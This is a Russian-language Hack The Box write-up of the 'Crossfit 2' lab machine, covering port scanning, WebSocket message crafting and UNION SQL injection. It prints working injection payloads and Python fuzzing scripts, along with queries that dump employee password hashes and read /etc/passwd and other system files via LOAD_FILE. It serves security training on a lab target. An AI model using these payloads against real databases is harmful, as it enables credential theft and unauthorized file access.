Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Сегодня мы поработаем с технологией WebSocket, проэксплуатируем UNION SQL Injection, проведем атаку DNS rebinding, заюзаем багу в приложении на Node.js и разберемся с тем, как авторизоваться на хосте при помощи YubiKey. Все это позволит нам захватить машину Crossfit 2 с площадки Hack The Box уровня сложности Insane.
info
Читай также: «HTB CrossFit. Раскручиваем сложную XSS, чтобы захватить хост».
Адрес машины — 10.10.10.232, добавляем его в /etc/hosts
как crossfit2.htb
и приступаем к сканированию портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. В его результате атакующий узнает, какие службы на хосте принимают соединение. Эта информация позволяет выбрать дальнейший путь к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов для Nmap (опция -A
).
Получаем следующие результаты.
Результат работы скрипта
Итак, мы имеем три открытых порта:
Первым делом стоит заглянуть на доступный сайт.
Стартовая страница сайта
Чтобы ничего не осталось незамеченным, информацию на сайте будем собирать через Proxy. В шапке сайта находим навигацию, а также определяем, что последняя ссылка ведет на другой поддомен: employees.crossfit.htb
. Добавим его в файл /etc/hosts
, также изменим имеющуюся у нас запись с crossfit2.htb
на crossfit.htb
.
10.10.10.232 crossfit.htb employees.crossfit.htb
На самом сайте нас встречает форма авторизации, больше ничего мы там не получим. Так как все наши действия фиксированы в Burp, заглянем в Burp History. Там мы обнаружим, что при обращении к главной странице делается запрос на еще один поддомен.
Вкладка Burp History
Добавим этот поддомен в файл /etc/hosts
и повторим запрос к главной странице. Затем отправимся в Burp и проверим ответ, который вернул сервер при запросе к новому поддомену.
10.10.10.232 crossfit.htb employees.crossfit.htb gym.crossfit.htb
Вкладка Burp History
В ответе видим оповещение о смене протокола на WebSocket.
WebSocket — это протокол связи поверх TCP-соединения, предназначенный для обмена сообщениями между браузером и веб‑сервером в режиме реального времени. WebSocket особенно хорош для сервисов, которые нуждаются в постоянном обмене данными, например для онлайновых игр, торговых площадок, чатов.
После установления соединения уже нет деления на клиент и сервер, а есть два равноправных участника обмена данными. Каждый работает сам по себе и, когда надо, отправляет данные другому.
Для просмотра сообщений по протоколу WebSocket перейдем к Burp WebSocket History. Там находим единственное сообщение, в содержимом которого будет приветствие, информация о команде help
и какой‑то токен.
Вкладка Burp WebSocket History
Работать с WebSocket будет удобно с помощью интерактивной консоли. Ее несложно организовать при помощи Python 3 и модуля websockets
.
python3 -m websockets ws://gym.crossfit.htb/ws/
Установление соединения WebSockets
После подключения нам сразу пришло знакомое сообщение. Давай попробуем получить справку. Сообщение с командой нужно будет отправить тоже в JSON.
{"command":"help"}
Запрос справки
В ответе нам сообщают о неверном токене, поэтому повторяем отправку, но включаем новый параметр.
{"command":"help", "token": "29a20a82768c1531e28fe18a519a59fbe986801ebdcd543920dbe3bdaa8c20d9"}
Повторный запрос справки
Наше сообщение остается без ответа, а после повторной отправки нам вообще сообщают, что токен больше не действителен и дают новый токен. Интересно! Давай поищем фрагмент кода, который отвечает за отправку сообщений. В панели браузера переходим к вкладке Debug и находим файл ws.min.js
.
Повторный запрос справки
В коде находим отправку сообщения в параметре message
и токена — в параметре token
. Отправляем свое сообщение в аналогичном формате.
{"message":"help","token":"cdfc745eb97670fb768678a2fbe3d37eabd307dac630720392892e5525ad87f8"}
Повторный запрос справки
Наконец нам пришел ответ, откуда мы узнаем о трех доступных командах: coaches
, classes
и memberships
.
Отправим все три команды и внимательно посмотрим на ответ сервера.
Команда coaches
Команда classes
Команда memberships
Во всех случаях нам вернули HTML-код страницы. В первом варианте мы получаем просто информацию о тренерах, во втором — список занятий, а вот в ответ на команду memberships
заодно со списком приезжает выбор опций. Реализован он как функция check_availability
, в которую передается число от 1 до 4. Посмотрим код этой функции в уже знакомом файле ws.min.js
.
Код функции check_availability
Функция отправляет три параметра:
message
— содержит строку available
;params
— число, переданное в функцию;token
.{"message":"available","params":"1","token":"6775bfe48d278f7a5bc90dcb6c0e9b47e8cfcfa266446ef8345f9e01e83e6233"}
Отправка сообщения available
В этом сообщении я отправил четыре параметра и получил два разных варианта ответа: успешный и нет. При этом мы еще получаем пояснение в параметре debug
. То есть мы отправляем параметр, который система обрабатывает и дает результат, а значит, это место для тестирования!
Дальше я написал скрипт на Python 3, который в цикле запрашивает параметр.
#!/usr/bin/python3import jsonfrom websocket import create_connectiondef send_command(ws, token): inp = input("> ") ws.send('{"message":"available","params":"' + inp + '","token":"' + token + '"}') req = ws.recv() token = json.loads(req)['token'] print(req) return tokenws = create_connection("ws://gym.crossfit.htb/ws/")req = ws.recv()token = json.loads(req)['token']for _ in range(100): token = send_command(ws, token)
Результат работы скрипта
Все работает, идем дальше.
Так как ответ выбирается в зависимости от отправленного параметра, первым делом я решил проверить SQL-инъекцию. Благо я регулярно составляю словари для тестов и нужный как раз имелся под рукой. Чтобы использовать его, немного подправим код.
#!/usr/bin/python3import jsonimport timefrom websocket import create_connectiondef send_command(ws, token): inp = input("> ") ws.send('{"message":"available","params":"' + inp + '","token":"' + token + '"}') req = ws.recv() token = json.loads(req)['token'] print(req) return tokendef send_command2(ws, token, inp): print("input: <" + inp + ">") ws.send('{"message":"available","params":"' + inp + '","token":"' + token + '"}') req = ws.recv() token = json.loads(req)['token'] print(req) return tokenws = create_connection("ws://gym.crossfit.htb/ws/")req = ws.recv()token = json.loads(req)['token']with open('/home/ralf/tmp/wordlists/SQL/1.check_sqli.txt', 'r') as f: wordlist = f.read().split('n')[:-1]for w in wordlist: token = send_command2(ws, token, w)
Результат работы скрипта
При отправке любого сообщения, содержащего двойную кавычку ("
), ответа мы не получаем. По этой причине исключим из словаря любую нагрузку, содержащую этот символ. И повторим выполнение.
Результат работы скрипта
Результат работы скрипта (продолжение)
Просматривая вывод, обнаружим реакцию сервера на четыре нагрузки. Смотрим комментарий SQL:
1 and 1
и 1 and true
вернет действительный ответ;1 and 0
и 1 and false
вернет наш ввод;1 -- -
вернет действительный ответ.Я нашел уязвимость, и теперь ее нужно эксплуатировать. Первым делом найдем нагрузки для эксплуатации, поэтому сменим словарь и повторим выполнение скрипта.
Результат работы скрипта
Результат работы скрипта (продолжение)
В результате есть реакция на UNION-нагрузки. А именно при отправке -1 UNION ALL SELECT 1,2#
получим ответ, параметр name
которого содержит 2
, а при отправке -1 UNION ALL SELECT USER(),SLEEP(5)--
, в параметре id
ответа присутствует имя пользователя базы данных. Такая уязвимость называется UNION SQL Injection и позволяет добавить к выборке столбцы таблицы, которые ранее были нам не видны.
Вернем последние две строки нашего первоначального скрипта для ручной работы и приступим к эксплуатации.
for _ in range(100): token = send_command(ws, token)
Первым делом получим версию базы данных.
-1 UNION ALL SELECT 1,@@version #
Версия базы данных
На хосте работает MySQL, поэтому дальше мы будем использовать ее синтаксис. Получим имена всех имеющихся баз. Мы можем выводить всего одну строку, поэтому используем функцию GROUP_CONCAT
для объединения нескольких строк в одну, а разделителем будет пробел.
-1 UNION ALL SELECT 1,GROUP_CONCAT(schema_name, ' ') FROM information_schema.schemata #
Список имен баз
База information_schema
служебная, поэтому нас не интересует. Давай узнаем привилегии нашего пользователя в других базах.
-1 UNION ALL SELECT 1,GROUP_CONCAT(grantee, ' ', table_schema,' ', privilege_type, 'n') FROM information_schema.schema_privileges #
Привилегии пользователя для баз
Мы можем работать как с базой crossfit
, так и с базой employees
. Для начала получим названия таблиц.
-1 UNION ALL SELECT 1,GROUP_CONCAT('n', table_schema, ': ',table_name) FROM information_schema.tables WHERE table_schema = 'crossfit' OR table_schema = 'employees' #
Таблицы в базах crossfit и employees
В базе crossfit
ничего интересного не нашлось — надежду подавала таблица password_reset
, но она оказалась пустой.
Получим названия столбцов в таблице employees
.
-1 UNION ALL SELECT 1,GROUP_CONCAT('n', column_name) FROM information_schema.columns WHERE table_name = 'employees' #
Столбцы в таблице employees
Мы можем получить учетные данные для сайта. Запросим имена, пароли и адреса электронной почты.
-1 UNION ALL SELECT 1,GROUP_CONCAT('n', username, ' ', password, ' ', email) FROM employees.employees #
Содержимое таблицы employees
У нас есть четыре пользователя и хеши от их паролей. С помощью утилиты hashid определим тип хешей.
Результат работы hashid
Наиболее вероятным будет хеш SHA-256 из‑за его популярности, однако с наскока сломать хеши и авторизоваться на сайте не вышло. Ни в онлайновых базах, ни с помощью локального перебора узнать хоть один из прообразов хеша не удалось. Поэтому посмотрим, какие еще у нашего пользователя базы данных есть привилегии.
-1 UNION ALL SELECT 1,GROUP_CONCAT('n', grantee, ' ', privilege_type) FROM information_schema.user_privileges #
Привилегии пользователя базы данных
Мы можем читать файлы на хосте! Первым делом, конечно же, прочитаем /etc/passwd
.
-1 UNION ALL SELECT 1,LOAD_FILE('/etc/passwd') #
Находим пользователей node
, david
и john
, у которых есть возможность логиниться в систему. А поскольку мы имеем дело с OpenBSD, абсолютно все службы тоже отражены в этом файле. Просмотрев этот список, отметим демон relayd, который может дать нам новые адреса, и unbound, так как у него есть доступ на внешний порт 8953. Сначала посмотрим настройки релея, прочитав файл /etc/relayd.conf
.
-1 UNION ALL SELECT 1,LOAD_FILE('/etc/relayd.conf') #
Содержимое файла /etc/relayd.conf
Так мы находим еще один домен crossfit-club.htb
, который добавим в файл /etc/hosts
. Сразу просмотрим одноименный сайт, который нас встречает формой авторизации.
Форма авторизации
Так как запросы мы по‑прежнему делаем через Burp Proxy, нам это помогает определить подключение некоего API, о чем говорит обращение к /api/auth
.
Вкладка Burp History
При попытке авторизации с тестовыми учетными данными обнаруживаем еще одну страницу, которая работает с форматом JSON.
Выполнение запроса на авторизацию
К тому же на сайте имеется форма регистрации. Кнопка в ней может быть и отключена, но мы можем попробовать все равно авторизоваться — при помощи Burp Repeater. Получим имена переменных из исходного кода страницы и отправим тестовые данные на /api/signup
. Но в ответе нам скажут, что эта функция доступна только администратору.
Форма регистрации
Выполнение запроса на регистрацию
Тут пока больше ничего не сделать, поэтому идем дальше.
Источник: xakep.ru